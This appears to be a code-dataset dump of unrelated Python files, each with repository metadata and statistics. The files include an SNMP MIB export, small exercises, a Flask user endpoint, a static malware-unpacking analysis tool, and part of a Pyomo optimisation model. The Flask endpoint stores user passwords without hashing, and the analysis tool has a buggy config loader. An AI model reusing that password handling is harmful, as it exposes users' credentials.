zyAclV2ClassifierIpPacketLenRangeStart=zyAclV2ClassifierIpPacketLenRangeStart, zyAclV2ClassifierEthernetSourceMACMask=zyAclV2ClassifierEthernetSourceMACMask, zyAclV2ClassifierEthernetDestinationMACMask=zyAclV2ClassifierEthernetDestinationMACMask, zyAclV2ClassifierVlanMap3k=zyAclV2ClassifierVlanMap3k, zyAclV2ClassifierTimeRange=zyAclV2ClassifierTimeRange, zyxelAclV2ClassifierIpv6Entry=zyxelAclV2ClassifierIpv6Entry, zyAclV2ClassifierIPv6EstablishOnly=zyAclV2ClassifierIPv6EstablishOnly, zyAclV2ClassifierIPv6DestinationIpPrefixLength=zyAclV2ClassifierIPv6DestinationIpPrefixLength, zyxelAclV2ClassifierIpEntry=zyxelAclV2ClassifierIpEntry, zyAclV2ClassifierIpToS=zyAclV2ClassifierIpToS, zyAclV2ClassifierEthernetSourcePorts=zyAclV2ClassifierEthernetSourcePorts, zyAclV2PolicyQueueAction=zyAclV2PolicyQueueAction, zyAclV2ClassifierIPv6NextHeader=zyAclV2ClassifierIPv6NextHeader, zyAclV2ClassifierVlanMap4k=zyAclV2ClassifierVlanMap4k, zyAclV2ClassifierEthernet8021pPriority=zyAclV2ClassifierEthernet8021pPriority, zyxelAclV2TrapInfoObjects=zyxelAclV2TrapInfoObjects, zyxelAclV2ClassifierIpTable=zyxelAclV2ClassifierIpTable, zyAclV2ClassifierIPv6SourceIpAddress=zyAclV2ClassifierIPv6SourceIpAddress, zyxelAclV2ClassifierLoggingState=zyxelAclV2ClassifierLoggingState, zyxelAclV2=zyxelAclV2, zyxelAclV2ClassifierIpv6Table=zyxelAclV2ClassifierIpv6Table, zyAclV2PolicyDiffServAction=zyAclV2PolicyDiffServAction, zyAclV2ClassifierIpDestinationSocketRangeStart=zyAclV2ClassifierIpDestinationSocketRangeStart, zyAclV2ClassifierVlanMap1k=zyAclV2ClassifierVlanMap1k, zyAclV2PolicyDSCP=zyAclV2PolicyDSCP, zyxelAclV2ClassifierEthernetTable=zyxelAclV2ClassifierEthernetTable, zyAclV2ClassifierLogState=zyAclV2ClassifierLogState, zyAclV2ClassifierInnerVlanMap3k=zyAclV2ClassifierInnerVlanMap3k, zyAclV2ClassifierIPv6SourceIpPrefixLength=zyAclV2ClassifierIPv6SourceIpPrefixLength, zyAclV2PolicyBandwidth=zyAclV2PolicyBandwidth, zyxelAclV2ClassifierLoggingInterval=zyxelAclV2ClassifierLoggingInterval, zyAclV2Policy8021pPriority=zyAclV2Policy8021pPriority, zyAclV2PolicyForwardingAction=zyAclV2PolicyForwardingAction, zyAclV2PolicyName=zyAclV2PolicyName, PYSNMP_MODULE_ID=zyxelAclV2, zyAclV2ClassifierName=zyAclV2ClassifierName, zyAclV2ClassifierIPv6DestinationIpAddress=zyAclV2ClassifierIPv6DestinationIpAddress, zyAclV2ClassifierState=zyAclV2ClassifierState, zyxelAclV2ClassifierVlanEntry=zyxelAclV2ClassifierVlanEntry, zyAclV2PolicyState=zyAclV2PolicyState, zyAclV2ClassifierIpSourceIpAddress=zyAclV2ClassifierIpSourceIpAddress, zyxelAclV2ClassifierTable=zyxelAclV2ClassifierTable, zyxelAclV2ClassifierStatus=zyxelAclV2ClassifierStatus, zyAclV2ClassifierIpSourceSocketRangeEnd=zyAclV2ClassifierIpSourceSocketRangeEnd, zyAclV2PolicyTOS=zyAclV2PolicyTOS, zyAclV2ClassifierIpPacketLenRangeEnd=zyAclV2ClassifierIpPacketLenRangeEnd, zyxelAclV2PolicyEntry=zyxelAclV2PolicyEntry, zyAclV2ClassifierIpProtocol=zyAclV2ClassifierIpProtocol, zyxelAclV2ClassifierVlanTable=zyxelAclV2ClassifierVlanTable, zyAclV2PolicyOutOfProfileAction=zyAclV2PolicyOutOfProfileAction, zyAclV2ClassifierIpSourceSocketRangeStart=zyAclV2ClassifierIpSourceSocketRangeStart, zyAclV2ClassifierCountState=zyAclV2ClassifierCountState)

144.324742

5,641

0.792314

2,770

27,999

8.007942

0.088448

0.009197

0.012713

0.016049

0.369038

0.350509

0.287666

0.283293

0.218736

0.210711

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0.09709

0.075931

27,999

193

5,642

145.072539

0.760252

0.011572

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0.027073

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1

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0

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0.053763

0

null

0

1

0

null

0

2

c76d58f2d02929d5eb4690fddd86e4d2f3a6dc3d

244

py

Python

Exercicios/ex061.py

jlsmirandela/Curso_Python

2419b68d335a2a42beb3e98fb93552aca1264cae

[ "MIT" ]

null

Exercicios/ex061.py

jlsmirandela/Curso_Python

2419b68d335a2a42beb3e98fb93552aca1264cae

[ "MIT" ]

null

Exercicios/ex061.py

jlsmirandela/Curso_Python

2419b68d335a2a42beb3e98fb93552aca1264cae

[ "MIT" ]

null

print('-+-' *10) print(' GERADOR DE PA') print('+-+' * 10) c = 1 ter = int(input('Insira o primeiro termo - ')) rz = int(input('Insira a razão - ')) while c <= 10: print(ter, ' → ', end=' ') ter += rz c += 1 print('FIM')

14.352941

46

0.487705

36

244

3.333333

0.583333

0.116667

0.233333

0

0.045198

0.27459

244

16

47

15.25

0.627119

0

0.312757

0

1

0

false

0

0.454545

0

null

0

1

0

null

0

1

0

2

c774cc70f7362fd8daf5037ff3abf0db4ccef896

221

py

Python

tutorial_application/forms.py

yamasakih/django_rdkit_tutorial

9ac591963976da38cae962de2b98702bbb919cf4

[ "MIT" ]

2

2018-12-04T00:01:26.000Z

2021-03-25T08:28:06.000Z

tutorial_application/forms.py

yamasakih/django-rdkit-tutorial

9ac591963976da38cae962de2b98702bbb919cf4

[ "MIT" ]

null

tutorial_application/forms.py

yamasakih/django-rdkit-tutorial

9ac591963976da38cae962de2b98702bbb919cf4

[ "MIT" ]

null

from django_rdkit import models from django.forms.models import ModelForm from .models import Compound class SubstructureSearchForm(ModelForm): class Meta: model = Compound fields = ('molecule', )

18.416667

41

0.723982

24

221

6.625

0.583333

0.125786

0

0.21267

221

11

42

20.090909

0.913793

0

0.036199

0

1

0

false

0

0.428571

0

0.714286

0

1

0

null

0

null

0

1

0

2

c788d246174ead31e98e8d4b7639bcc5eb1a1074

580

py

Python

reddit2telegram/channels/news/app.py

mainyordle/reddit2telegram

1163e15aed3b6ff0fba65b222d3d9798f644c386

[ "MIT" ]

187

2016-09-20T09:15:54.000Z

2022-03-29T12:22:33.000Z

reddit2telegram/channels/news/app.py

mainyordle/reddit2telegram

1163e15aed3b6ff0fba65b222d3d9798f644c386

[ "MIT" ]

84

2016-09-22T14:25:07.000Z

2022-03-19T01:26:17.000Z

reddit2telegram/channels/news/app.py

mainyordle/reddit2telegram

1163e15aed3b6ff0fba65b222d3d9798f644c386

[ "MIT" ]

172

2016-09-21T15:39:39.000Z

2022-03-16T15:15:58.000Z

#encoding:utf-8 from utils import weighted_random_subreddit t_channel = '@news756' subreddit = weighted_random_subreddit({ 'politics': 0.5, 'news': 0.5 }) def send_post(submission, r2t): return r2t.send_simple(submission, text='{title}\n\n{self_text}\n\n/r/{subreddit_name}\n{short_link}', gif='{title}\n\n/r/{subreddit_name}\n{short_link}', img='{title}\n\n/r/{subreddit_name}\n{short_link}', album='{title}\n{link}\n\n/r/{subreddit_name}\n{short_link}', other='{title}\n{link}\n\n/r/{subreddit_name}\n{short_link}' )

27.619048

75

0.653448

90

580

4.011111

0.388889

0.033241

0.041551

0.166205

0.443213

0.371191

0.199446

0

0.020325

0.151724

580

20

76

29

0.713415

0.024138

0

0.071429

0.479646

0.444248

0

1

0.071429

false

0

0.071429

0.214286

0

null

0

1

0

1

null

0

2

c7a1b4eccd5313fe3d7a77b6d5633a8332809125

2,012

py

Python

endpoints/UserEndpoint.py

GardenersGalore/server

f7d7f8ae07b56fc3c4fbe46f0784329cd94ace2d

[ "MIT" ]

null

endpoints/UserEndpoint.py

GardenersGalore/server

f7d7f8ae07b56fc3c4fbe46f0784329cd94ace2d

[ "MIT" ]

1

2021-06-02T00:35:43.000Z

endpoints/UserEndpoint.py

GardenersGalore/server

f7d7f8ae07b56fc3c4fbe46f0784329cd94ace2d

[ "MIT" ]

null

import json from flask import request from flask_restful import Resource, abort, reqparse from models.User import User """ POST Creates a new resource. GET Retrieves a resource. PUT Updates an existing resource. DELETE Deletes a resource. """ class UserEndpoint(Resource): def post(self): j = request.get_json() # need to ensure the required fields are in the json if "name" not in j: abort(422, message="name is not in json body") else: name = j["name"] if "username" not in j: abort(422, message="username not in json body") else: username = j["username"] if "email" not in j: abort(422, message="email not in json body") else: email = j["email"] if "password" not in j: abort(422, message="password not in json body") else: password = j["password"] user_obj = User( name=name, username=username, email=email, password=password, ) if "phone_number" in j: user_obj.phone_number = j["phone_number"] if "experience" in j: user_obj.experience = j["experience"] if "pictureURL" in j: user_obj.pictureURL = j["pictureURL"] d = user_obj.save() return json.loads(d.to_json()) def put(self): # TODO pass def delete(self): # TODO pass def get(self): parser = reqparse.RequestParser() parser.add_argument('username', required=True, type=str, help='The username of the User') args = parser.parse_args() try: user = json.loads(User.objects.get(username=args['username']).to_json()) except Exception as e: print(e) abort(404, message="User doesnt exist: {} doesn't exist".format(args['username'])) return user

24.240964

97

0.548708

242

2,012

4.504132

0.338843

0.036697

0.022018

0.040367

0.13945

0.077064

0

0.011494

0.351392

2,012

82

98

24.536585

0.823755

0.029821

0

0.117647

0

0.164514

0

0.012195

0

1

0.078431

false

0.117647

0.078431

0

0.215686

0.019608

0

null

0

null

0

1

0

1

0

2

c7aedff29cfbc578d32b6b83c7dce7618a9b1e46

680

py

Python

src/pvt_model/pvt_system/pipe.py

BenWinchester/PVTModel

6bf3976b06f406f632e0a9e525cd8b05359da239

[ "MIT" ]

1

2021-05-11T14:15:11.000Z

src/pvt_model/pvt_system/pipe.py

BenWinchester/PVTModel

6bf3976b06f406f632e0a9e525cd8b05359da239

[ "MIT" ]

14

2021-02-23T11:53:08.000Z

2021-11-16T10:45:31.000Z

src/pvt_model/pvt_system/pipe.py

BenWinchester/PVTModel

6bf3976b06f406f632e0a9e525cd8b05359da239

[ "MIT" ]

null

#!/usr/bin/python3.7 ######################################################################################## # pvt_collector/pipe.py - Represents a pipe within the system. # # Author: Ben Winchester # Copyright: Ben Winchester, 2021 ######################################################################################## """ The pipe module for the PV-T model. This module represents a pipe within the PV-T system. """ from dataclasses import dataclass __all__ = ("Pipe",) @dataclass class Pipe: """ Represents a pipe within the PVT system. .. attribute:: temperature The temperature of the pipe, measured in Kelvin. """ temperature: float

21.25

88

0.507353

67

680

5.074627

0.552239

0.097059

0.132353

0.185294

0.211765

0

0.010526

0.161765

680

31

89

21.935484

0.585965

0.511765

0

0.033613

0

1

0

false

0

0.2

0

0.6

0

null

0

1

0

null

0

1

0

2

c7cce7b123c5282102e29d889ac9141ac4ccb76e

10,135

py

Python

pyparser.py

ddurvaux/PyUnpacker

13c90379c26c4a9ae8c2c4d94e26f2de9709ae1d

[ "MIT" ]

null

pyparser.py

ddurvaux/PyUnpacker

13c90379c26c4a9ae8c2c4d94e26f2de9709ae1d

[ "MIT" ]

1

2017-02-06T11:06:11.000Z

2017-02-06T11:07:29.000Z

pyparser.py

ddurvaux/PyUnpacker

13c90379c26c4a9ae8c2c4d94e26f2de9709ae1d

[ "MIT" ]

null

#!/usr/bin/python # # This tool is an attempt to automate some taks related # to malware unpacking. # # Most (if not all) of the tricks used in this tool # directly comes from an excellent course given # by Nicolas Brulez (@nicolasbrulez) # # Tool developped by David DURVAUX for Autopsit # (commercial brand of N-Labs sprl) # # TODO # - everything # - VirusTotal Support # - dynamic analysis (GDB? Valgring?) # - static code analysis with Radare2 # - add argument for PEID # - save status / restore (config/analysis) # - extract fucnction without offset for comparison of samples # - .. # # __author__ = 'David DURVAUX' __contact__ = 'david@autopsit.org' __version__ = '0.01' # Imports required by this tool import os import sys import json import pefile import peutils import argparse from distorm3 import Decode, Decode16Bits, Decode32Bits, Decode64Bits, Decompose, DecomposeGenerator, DF_STOP_ON_FLOW_CONTROL # Imports part of this tool import static.vivframework # --------------------------------------------------------------------------- # # REPRESENTATION OF THE CONFIGURATION # --------------------------------------------------------------------------- # class Configuration: force = False # force to redo all the analysis modstatic = None # static analysis module moddynamic = None # dynamic analysis module # DB downloaded on # https://raw.githubusercontent.com/viper-framework/viper/master/data/peid/UserDB.TXT (UPX not detected) # https://raw.githubusercontent.com/ynadji/peid/master/userdb.txt (problems) # http://blog.didierstevens.com/programs/yara-rules/ signatures = peutils.SignatureDatabase('./peid/peid-userdb-rules-with-pe-module.yara') def __init__(self): return def save(self, filename="./config.json"): config = { "force": self.force, "modstatic": self.modstatic, "moddynamic": self.moddynamic } try: # write configuration to file fd = open(filename, "w") json.dump(config, fd) fd.close() print("Configuration saved to %s" % filename) except Exception as e: print("Impossible to save configuration to %s" % filename) print(e) return def load(self, filename="./config.json"): config = {} try: # read configuration from file fd = open(filename, "r") config = json.load(fd) fd.close() # update internal state self.__dict__[key] = config[key] except Exception as e: print("Impossible to load configuration from %s" % filename) print(e) return # --------------------------------------------------------------------------- # # REPRESENTATION OF THE INFO RETRIEVED # --------------------------------------------------------------------------- # class BinaryInformations: """ This class will represent and hold all the information retrieved from the binary """ vtinfo = {} peheader = {} bininfo = {} settings = {} packed_score = 0 # current packed score packed_test = 0 # number of test done breakpoints = [] # breakoint to set for unpacking anti_debug = False def __init__(self): return def log(self): #TODO IMPLEMENT return def save(self, filename=sys.stdout): print ("NOT YET IMPLEMENTED!") return # --------------------------------------------------------------------------- # # STATIC ANALYSIS OF BINARY # --------------------------------------------------------------------------- # class StaticAnalysis: """ Tools to analyze statically binaries @TODO: define access to page_size, margin, entropy_threshold and packed_score """ # class variable configuration = None binary = None bininfo = None page_size = 0 margin= 0 entropy_threshold = 0 packed_score = 0 SFLAGS = { "CODE" : 0x00000020, "DATA" : 0x00000040, "EXEC" : 0x20000000, "READ" : 0x40000000, "WRIT" : 0x80000000 # other: check https://msdn.microsoft.com/en-us/library/ms809762.aspx } def __init__(self, binary, configuration, page_size=0x1000, margin=0.1, entropy_threshold = 7.0, packed_score=0): """ binary the path to the binary to analyze """ # set parameters self.binary = binary self.page_size = page_size self.margin = margin self.entropy_threshold = entropy_threshold self.packed_score = packed_score # instanciate internal objects self.pe = pefile.PE(binary) self.bininfo = BinaryInformations() # keep track of the current configuration self.configuration = configuration # initialize static analysis module (TODO - add support for others) self.configuration.modstatic = static.vivframework.Vivisect(self.binary, self.bininfo, self.configuration.force) # update BinaryInformation with current settings: self.bininfo.settings["peanalysis"] = { "binary" : self.binary, "page_size" : self.page_size, "margin" : self.margin, "entropy_threshold" : self.entropy_threshold, "packed_score" : self.packed_score } # CHECK BINARY SECTIONS def analyzeSections(self): """ TODO: mutliple output support, number of test Need to Add: - check section names - check where entry point is located (in the last section) - first section should be writeable - last section should be executable - ... """ # check number of sections if(len(self.pe.sections)) != 3: print "ABNOMALIE in NUMBER OF SECTIONS (%d)!!" % len(self.pe.sections) self.bininfo.packed_score += 1 self.bininfo.packed_test += 1 # check section + boundary and see if it matches for section in self.pe.sections: [name, vaddr, vsize, rsize, flags] = [section.Name, section.VirtualAddress, section.Misc_VirtualSize, section.SizeOfRawData, section.Characteristics] # check flags if( int(flags ^ (self.SFLAGS["EXEC"] | self.SFLAGS["WRIT"])) == 0 ): # check if section is executable + writeable print "ABNOMALIE SECTION SHOULD NOT BE WRITEABLE AND EXECUTABLE (W^X violation)!!" self.bininfo.packed_score += 1 # check sections sizes (incl. page alignment) # the rsize need to be written in a multiple of memory page size (min 1.) # a margin is added (could be customized) if (rsize / self.page_size + 1) * self.page_size * (1 + self.margin) < vsize: print "ABNOMALIES with VIRTUAL SIZE ALLOCATION for SECTION: %s" % name self.bininfo.packed_score += 1 # check entropy if(section.get_entropy() >= self.entropy_threshold): print "ABNORMAL ENTROPY (%s)) for SECTION: %s" % (section.get_entropy(), name) self.bininfo.packed_score += 1 # update bininfo status self.bininfo.packed_test += 3 # 3 tests are done for each section print ("TOTAL PACKED SCORE: %s / %s" % (self.bininfo.packed_score, self.bininfo.packed_test)) return self.bininfo def callPEiD(self): """ Use set of YARA rules to search for known packers TODO - add a check on signature presence or download or end - postpone initialization of signatures DB here!! """ matches = self.configuration.signatures.match(self.pe, ep_only = True) if(matches is not None): if(len(matches) > 0): print "PACKER FOUND: %s" % matches[0] return self.bininfo def graphSearch(self): """ Do a graph search in the code for leaf nodes """ self.configuration.modstatic.graphSearch() def isAntiDebug(self): if self.configuration.modstatic.isAntiDebug(): print "WARNING: ANTI-DEBUGGING TRICKS FOUND!" def searchVirtualAlloc(self): self.configuration.modstatic.searchVirtualAlloc() def getPerFunctionHash(self): self.configuration.modstatic.getPerFunctionHash() def decompile(self): """ ! need to take in account offset in memory ! -- CODE TO REMOVE -- DEPRECATED -- """ fd = open(self.binary, "rb") l = DecomposeGenerator(0x100, fd.read(), Decode32Bits, DF_STOP_ON_FLOW_CONTROL) while(l is not None): # -- BEGIN TEST CODE -- for i in l: #print "0x%08x (%02x) %-20s %s" % (i[0], i[1], i[3], i[2]) print "0x%08x %s" % (i.address, i) # -- END TEST CODE -- l = DecomposeGenerator(0x100, fd.read(), Decode32Bits, DF_STOP_ON_FLOW_CONTROL) fd.close() return # --------------------------------------------------------------------------- # # MAIN SECTION OF CODE # --------------------------------------------------------------------------- # def start_analysis(binary, configuration): sa = StaticAnalysis(binary, configuration) sa.analyzeSections() sa.callPEiD() sa.graphSearch() sa.isAntiDebug() sa.searchVirtualAlloc() sa.getPerFunctionHash() #TEST #sa.decompile() # TEST return def main(): # Argument definition parser = argparse.ArgumentParser(description='Analyse binaries and try to help with deobfuscation') parser.add_argument('-b', '--binary', help='Binary to analyze') parser.add_argument('-f', '--force', help='Force a fresh analysis, no restoration of previous work', action="store_true") parser.add_argument('-y', '--yara', help='Path to YARA DB to use to scan binary') parser.add_argument('-viv', '--vivisect', help='Path to vivisect installation') # create a configuration holder configuration = Configuration() # Start the fun part :) args = parser.parse_args() # if force flag is defined, change behaviour if args.force: configuration.force = True # set YARA DB signature if args.yara: if os.path.isfile(args.yara): configuration.signatures = args.yara else: print "ERROR: %s not found!" % args.yara exit() # TEST - save configuration for re-use #configuration.save() configuration.load() # set Vivisect path and Initialize # currently only vivisect is supported # this code need to be changed if other libraries get supported later if args.vivisect: if os.path.isdir(args.vivisect): sys.path.append(args.vivisect) else: print "ERROR: %s not found!" % args.vivisect exit() # Check if an output directory is set binary = None if args.binary: if os.path.isfile(args.binary): binary = args.binary start_analysis(binary, configuration) else: print "You need to specify a file to analyze" exit() if __name__ == "__main__": main() # --------------------------------------------------------------------------- # # That's all folk ;) # --------------------------------------------------------------------------- #

29.207493

152

0.651998

1,235

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5.273684

0.31417

0.025334

0.020881

0.016889

0.093352

0.051129

0.037771

0.018732

0

0.014039

0.170696

10,135

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153

29.207493

0.760857

0.311593

0

0.20904

0

0.16002

0.007311

0

0.010967

0.017291

0

null

0

0.045198

null

0.096045

0

null

0

null

0

1

0

1

0

2

c7d12defacc5fa8896212434511fb502a03f0a3b

74,691

py

Python

models_nonconvex_simple2/ndcc13persp.py

grossmann-group/pyomo-MINLP-benchmarking

714f0a0dffd61675649a805683c0627af6b4929e

[ "MIT" ]

null

models_nonconvex_simple2/ndcc13persp.py

grossmann-group/pyomo-MINLP-benchmarking

714f0a0dffd61675649a805683c0627af6b4929e

[ "MIT" ]

null

models_nonconvex_simple2/ndcc13persp.py

grossmann-group/pyomo-MINLP-benchmarking

714f0a0dffd61675649a805683c0627af6b4929e

[ "MIT" ]

null

# MINLP written by GAMS Convert at 08/20/20 01:30:45 # # Equation counts # Total E G L N X C B # 297 170 42 85 0 0 0 0 # # Variable counts # x b i s1s s2s sc si # Total cont binary integer sos1 sos2 scont sint # 673 631 42 0 0 0 0 0 # FX 0 0 0 0 0 0 0 0 # # Nonzero counts # Total const NL DLL # 2479 2353 126 0 # # Reformulation has removed 1 variable and 1 equation from pyomo.environ import * model = m = ConcreteModel() m.x1 = Var(within=Reals,bounds=(0,None),initialize=0) m.x2 = Var(within=Reals,bounds=(0,None),initialize=0) m.x3 = Var(within=Reals,bounds=(0,None),initialize=0) m.x4 = Var(within=Reals,bounds=(0,None),initialize=0) m.x5 = Var(within=Reals,bounds=(0,None),initialize=0) m.x6 = Var(within=Reals,bounds=(0,None),initialize=0) m.x7 = Var(within=Reals,bounds=(0,None),initialize=0) m.x8 = Var(within=Reals,bounds=(0,None),initialize=0) m.x9 = Var(within=Reals,bounds=(0,None),initialize=0) m.x10 = Var(within=Reals,bounds=(0,None),initialize=0) m.x11 = Var(within=Reals,bounds=(0,None),initialize=0) m.x12 = Var(within=Reals,bounds=(0,None),initialize=0) m.x13 = Var(within=Reals,bounds=(0,None),initialize=0) m.x14 = Var(within=Reals,bounds=(0,None),initialize=0) m.x15 = Var(within=Reals,bounds=(0,None),initialize=0) m.x16 = Var(within=Reals,bounds=(0,None),initialize=0) m.x17 = Var(within=Reals,bounds=(0,None),initialize=0) m.x18 = Var(within=Reals,bounds=(0,None),initialize=0) m.x19 = Var(within=Reals,bounds=(0,None),initialize=0) m.x20 = Var(within=Reals,bounds=(0,None),initialize=0) m.x21 = Var(within=Reals,bounds=(0,None),initialize=0) m.x22 = Var(within=Reals,bounds=(0,None),initialize=0) m.x23 = Var(within=Reals,bounds=(0,None),initialize=0) m.x24 = Var(within=Reals,bounds=(0,None),initialize=0) m.x25 = Var(within=Reals,bounds=(0,None),initialize=0) m.x26 = Var(within=Reals,bounds=(0,None),initialize=0) m.x27 = Var(within=Reals,bounds=(0,None),initialize=0) m.x28 = Var(within=Reals,bounds=(0,None),initialize=0) m.x29 = Var(within=Reals,bounds=(0,None),initialize=0) m.x30 = Var(within=Reals,bounds=(0,None),initialize=0) m.x31 = Var(within=Reals,bounds=(0,None),initialize=0) m.x32 = Var(within=Reals,bounds=(0,None),initialize=0) m.x33 = Var(within=Reals,bounds=(0,None),initialize=0) m.x34 = Var(within=Reals,bounds=(0,None),initialize=0) m.x35 = Var(within=Reals,bounds=(0,None),initialize=0) m.x36 = Var(within=Reals,bounds=(0,None),initialize=0) m.x37 = Var(within=Reals,bounds=(0,None),initialize=0) m.x38 = Var(within=Reals,bounds=(0,None),initialize=0) m.x39 = Var(within=Reals,bounds=(0,None),initialize=0) m.x40 = Var(within=Reals,bounds=(0,None),initialize=0) m.x41 = Var(within=Reals,bounds=(0,None),initialize=0) m.x42 = Var(within=Reals,bounds=(0,None),initialize=0) m.x43 = Var(within=Reals,bounds=(0,None),initialize=0) m.x44 = Var(within=Reals,bounds=(0,None),initialize=0) m.x45 = Var(within=Reals,bounds=(0,None),initialize=0) m.x46 = Var(within=Reals,bounds=(0,None),initialize=0) m.x47 = Var(within=Reals,bounds=(0,None),initialize=0) m.x48 = Var(within=Reals,bounds=(0,None),initialize=0) m.x49 = Var(within=Reals,bounds=(0,None),initialize=0) m.x50 = Var(within=Reals,bounds=(0,None),initialize=0) m.x51 = Var(within=Reals,bounds=(0,None),initialize=0) m.x52 = Var(within=Reals,bounds=(0,None),initialize=0) m.x53 = Var(within=Reals,bounds=(0,None),initialize=0) m.x54 = Var(within=Reals,bounds=(0,None),initialize=0) m.x55 = Var(within=Reals,bounds=(0,None),initialize=0) m.x56 = Var(within=Reals,bounds=(0,None),initialize=0) m.x57 = Var(within=Reals,bounds=(0,None),initialize=0) m.x58 = Var(within=Reals,bounds=(0,None),initialize=0) m.x59 = Var(within=Reals,bounds=(0,None),initialize=0) m.x60 = Var(within=Reals,bounds=(0,None),initialize=0) m.x61 = Var(within=Reals,bounds=(0,None),initialize=0) m.x62 = Var(within=Reals,bounds=(0,None),initialize=0) m.x63 = Var(within=Reals,bounds=(0,None),initialize=0) m.x64 = Var(within=Reals,bounds=(0,None),initialize=0) m.x65 = Var(within=Reals,bounds=(0,None),initialize=0) m.x66 = Var(within=Reals,bounds=(0,None),initialize=0) m.x67 = Var(within=Reals,bounds=(0,None),initialize=0) m.x68 = Var(within=Reals,bounds=(0,None),initialize=0) m.x69 = Var(within=Reals,bounds=(0,None),initialize=0) m.x70 = Var(within=Reals,bounds=(0,None),initialize=0) m.x71 = Var(within=Reals,bounds=(0,None),initialize=0) m.x72 = Var(within=Reals,bounds=(0,None),initialize=0) m.x73 = Var(within=Reals,bounds=(0,None),initialize=0) m.x74 = Var(within=Reals,bounds=(0,None),initialize=0) m.x75 = Var(within=Reals,bounds=(0,None),initialize=0) m.x76 = Var(within=Reals,bounds=(0,None),initialize=0) m.x77 = Var(within=Reals,bounds=(0,None),initialize=0) m.x78 = Var(within=Reals,bounds=(0,None),initialize=0) m.x79 = Var(within=Reals,bounds=(0,None),initialize=0) m.x80 = Var(within=Reals,bounds=(0,None),initialize=0) m.x81 = Var(within=Reals,bounds=(0,None),initialize=0) m.x82 = Var(within=Reals,bounds=(0,None),initialize=0) m.x83 = Var(within=Reals,bounds=(0,None),initialize=0) m.x84 = Var(within=Reals,bounds=(0,None),initialize=0) m.x85 = Var(within=Reals,bounds=(0,None),initialize=0) m.x86 = Var(within=Reals,bounds=(0,None),initialize=0) m.x87 = Var(within=Reals,bounds=(0,None),initialize=0) m.x88 = Var(within=Reals,bounds=(0,None),initialize=0) m.x89 = Var(within=Reals,bounds=(0,None),initialize=0) m.x90 = Var(within=Reals,bounds=(0,None),initialize=0) m.x91 = Var(within=Reals,bounds=(0,None),initialize=0) m.x92 = Var(within=Reals,bounds=(0,None),initialize=0) m.x93 = Var(within=Reals,bounds=(0,None),initialize=0) m.x94 = Var(within=Reals,bounds=(0,None),initialize=0) m.x95 = Var(within=Reals,bounds=(0,None),initialize=0) m.x96 = Var(within=Reals,bounds=(0,None),initialize=0) m.x97 = Var(within=Reals,bounds=(0,None),initialize=0) m.x98 = Var(within=Reals,bounds=(0,None),initialize=0) m.x99 = Var(within=Reals,bounds=(0,None),initialize=0) m.x100 = Var(within=Reals,bounds=(0,None),initialize=0) m.x101 = Var(within=Reals,bounds=(0,None),initialize=0) m.x102 = Var(within=Reals,bounds=(0,None),initialize=0) m.x103 = Var(within=Reals,bounds=(0,None),initialize=0) m.x104 = Var(within=Reals,bounds=(0,None),initialize=0) m.x105 = Var(within=Reals,bounds=(0,None),initialize=0) m.x106 = Var(within=Reals,bounds=(0,None),initialize=0) m.x107 = Var(within=Reals,bounds=(0,None),initialize=0) m.x108 = Var(within=Reals,bounds=(0,None),initialize=0) m.x109 = Var(within=Reals,bounds=(0,None),initialize=0) m.x110 = Var(within=Reals,bounds=(0,None),initialize=0) m.x111 = Var(within=Reals,bounds=(0,None),initialize=0) m.x112 = Var(within=Reals,bounds=(0,None),initialize=0) m.x113 = Var(within=Reals,bounds=(0,None),initialize=0) m.x114 = Var(within=Reals,bounds=(0,None),initialize=0) m.x115 = Var(within=Reals,bounds=(0,None),initialize=0) m.x116 = Var(within=Reals,bounds=(0,None),initialize=0) m.x117 = Var(within=Reals,bounds=(0,None),initialize=0) m.x118 = Var(within=Reals,bounds=(0,None),initialize=0) m.x119 = Var(within=Reals,bounds=(0,None),initialize=0) m.x120 = Var(within=Reals,bounds=(0,None),initialize=0) m.x121 = Var(within=Reals,bounds=(0,None),initialize=0) m.x122 = Var(within=Reals,bounds=(0,None),initialize=0) m.x123 = Var(within=Reals,bounds=(0,None),initialize=0) m.x124 = Var(within=Reals,bounds=(0,None),initialize=0) m.x125 = Var(within=Reals,bounds=(0,None),initialize=0) m.x126 = Var(within=Reals,bounds=(0,None),initialize=0) m.x127 = Var(within=Reals,bounds=(0,None),initialize=0) m.x128 = Var(within=Reals,bounds=(0,None),initialize=0) m.x129 = Var(within=Reals,bounds=(0,None),initialize=0) m.x130 = Var(within=Reals,bounds=(0,None),initialize=0) m.x131 = Var(within=Reals,bounds=(0,None),initialize=0) m.x132 = Var(within=Reals,bounds=(0,None),initialize=0) m.x133 = Var(within=Reals,bounds=(0,None),initialize=0) m.x134 = Var(within=Reals,bounds=(0,None),initialize=0) m.x135 = Var(within=Reals,bounds=(0,None),initialize=0) m.x136 = Var(within=Reals,bounds=(0,None),initialize=0) m.x137 = Var(within=Reals,bounds=(0,None),initialize=0) m.x138 = Var(within=Reals,bounds=(0,None),initialize=0) m.x139 = Var(within=Reals,bounds=(0,None),initialize=0) m.x140 = Var(within=Reals,bounds=(0,None),initialize=0) m.x141 = Var(within=Reals,bounds=(0,None),initialize=0) m.x142 = Var(within=Reals,bounds=(0,None),initialize=0) m.x143 = Var(within=Reals,bounds=(0,None),initialize=0) m.x144 = Var(within=Reals,bounds=(0,None),initialize=0) m.x145 = Var(within=Reals,bounds=(0,None),initialize=0) m.x146 = Var(within=Reals,bounds=(0,None),initialize=0) m.x147 = Var(within=Reals,bounds=(0,None),initialize=0) m.x148 = Var(within=Reals,bounds=(0,None),initialize=0) m.x149 = Var(within=Reals,bounds=(0,None),initialize=0) m.x150 = Var(within=Reals,bounds=(0,None),initialize=0) m.x151 = Var(within=Reals,bounds=(0,None),initialize=0) m.x152 = Var(within=Reals,bounds=(0,None),initialize=0) m.x153 = Var(within=Reals,bounds=(0,None),initialize=0) m.x154 = Var(within=Reals,bounds=(0,None),initialize=0) m.x155 = Var(within=Reals,bounds=(0,None),initialize=0) m.x156 = Var(within=Reals,bounds=(0,None),initialize=0) m.x157 = Var(within=Reals,bounds=(0,None),initialize=0) m.x158 = Var(within=Reals,bounds=(0,None),initialize=0) m.x159 = Var(within=Reals,bounds=(0,None),initialize=0) m.x160 = Var(within=Reals,bounds=(0,None),initialize=0) m.x161 = Var(within=Reals,bounds=(0,None),initialize=0) m.x162 = Var(within=Reals,bounds=(0,None),initialize=0) m.x163 = Var(within=Reals,bounds=(0,None),initialize=0) m.x164 = Var(within=Reals,bounds=(0,None),initialize=0) m.x165 = Var(within=Reals,bounds=(0,None),initialize=0) m.x166 = Var(within=Reals,bounds=(0,None),initialize=0) m.x167 = 